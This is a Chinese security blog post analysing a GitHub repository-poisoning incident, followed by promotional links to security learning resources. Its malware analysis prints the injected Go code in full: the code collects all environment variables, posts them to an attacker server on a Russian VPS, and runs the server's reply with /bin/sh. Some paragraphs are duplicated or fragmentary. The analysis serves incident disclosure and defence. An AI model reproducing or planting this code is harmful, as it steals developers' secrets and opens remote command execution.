事件简述
8月3日13时,名为 Stephen Lacy 的工程师在 Twitter 中表示其发现 GitHub
中大量仓库被加入了恶意代码,感染文件超过3.5万,涉及 Go 代码、NPM 安装脚本、容器镜像配置等内容。
-
被感染的仓库大多数处在长期不维护的状态,star 和 fork 数量基本为0
-
恶意代码在最早在2019年已经提交进部分仓库,不少仓库是在最近10天左右被感染
-
信息收集和控制指令的服务地址位于俄罗斯
15时许,GitHub 开始对受影响仓库进行清理,当前受影响仓库已经全部无法访问。
由于被投毒的开源仓库大多无人关注,预计此次事件本身的实际影响较小,但从攻击手法上来看体现了攻击者有较强的工程化利用能力。
以ovz1.j19544519
作为关键词在 GitHub 中可以搜索到超过3.5万个代码文件的结果。
最早提交的恶意代码是在2019年:
攻击手法分析
目前官方暂未给出该事件具体原因,对于此事件涉及众多账号,我们猜想可能存在以下三种情况:
- GitHub 账号撞库
抽样统计可以发现,多个被投毒的账号密码此前已经泄漏,因此可能通过撞库获得账号权限
- GitHub API Token 泄漏
攻击者通过收集公开泄漏的 token,从而对仓库进行直接操作。
- 攻击者注册了一批马甲账号
攻击者可能注册了一批虚假的马甲账号,模仿真实项目,再通过马甲账号发布与原仓库类似的代码。
恶意代码分析
投毒的仓库大多为 go 的仓库,其中恶意代码如下,逻辑本身较为简单。特殊的是除了恶意代码外,攻击者在 commit
中还加入了「逼真」的注释、license、commit 说明等内容,使得恶意代码更容易隐藏。
攻击者可能通过收集原仓库 commit 信息,而后生成与之相似的结果,例如与代码变更相符的 Update README.md 或 Update
license 提交,体现了攻击者有较强的工程化能力。
代码会先尝试获取"e452d6ab"环境变量,如果为"e452d6ab"值为1则直接结束运行。
if os__.Getenv("e452d6ab") == "1" {
return
}
``
如果找不到对应的环境变量则设置"e452d6ab"环境变量,防止重复执行,然后将当前环境的环境变量转为 json 格式的变量 env。
os__.Setenv("e452d6ab", "1")
env, err := json__.Marshal(os__.Environ())
if err != nil {
return
}
``
再将对应的环境变量发送给恶意服务器,环境变量中可能会包含 AWS access keys,Crypto keys 等敏感内容。
res, err := http__.Post("http://ovz1.j19544519.pr46m.vps.myjino.ru:49460/?org=gojek-engineering&repo=go-multierror", "application/json", bytes__.NewBuffer(env))
if err != nil {
return
}
``
最后使用 sh 执行恶意服务器的返回内容,为接下来的远程控制服务器,持久化连接,窃取敏感信息等恶意行为做准备。
defer res.Body.Close()
body, err := ioutil__.ReadAll(res.Body)
if err != nil {
return
}
if string(body) != "" {
exec__.Command("/bin/sh", "-c", string(body)).Start()
}
}
提供,因此攻击者位于俄罗斯的可能性较高。
# 针对开发者的建议
当前被投毒的仓库已经被 GitHub 官方删除,这些仓库大多无人关注,因此此次事件本身的实际影响较小,开发者在使用开源组件时需要注意甄别。
![](https://img-blog.csdnimg.cn/img_convert/0a53502320c12eabc00ed51272c3289e.jpeg)
从账号安全的角度来看,开发者需要尽量启用多因素验证、避免 API token 的泄漏,防止自己的项目被利用加入恶意代码。
要注意甄别。
[外链图片转存中...(img-pjlRPzV0-1697945449378)]
从账号安全的角度来看,开发者需要尽量启用多因素验证、避免 API token 的泄漏,防止自己的项目被利用加入恶意代码。
## 网络安全工程师(白帽子)企业级学习路线
### 第一阶段:安全基础(入门)
![img](https://img-blog.csdnimg.cn/img_convert/2cb1d3f557e5ff72ccfaa5b9d79580fe.png)
### 第二阶段:Web渗透(初级网安工程师)
![img](https://img-blog.csdnimg.cn/img_convert/3abce03f30405aad277bbef03ce2e92e.png)
### 第三阶段:进阶部分(中级网络安全工程师)
![img](https://img-blog.csdnimg.cn/img_convert/5d860c3a30807481920da59e4b3434f5.png)
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里**👉**[网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!](https://mp.weixin.qq.com/s/BWb9OzaB-gVGVpkm161PMw)
## 学习资源分享
![外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传](https://img-home.csdnimg.cn/images/20230724024159.png?origin_url=C%3A%5CUsers%5CAdministrator%5CDesktop%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E8%B5%84%E6%96%99%E5%9B%BE%5C%E5%BE%AE%E4%BF%A1%E6%88%AA%E5%9B%BE_20230201105953.png&pos_id=img-cddM97cO-1697945449382)
<img src="https://img-blog.csdnimg.cn/img_convert/5038c791428a513aca3d99aac6d0bed5.jpeg" />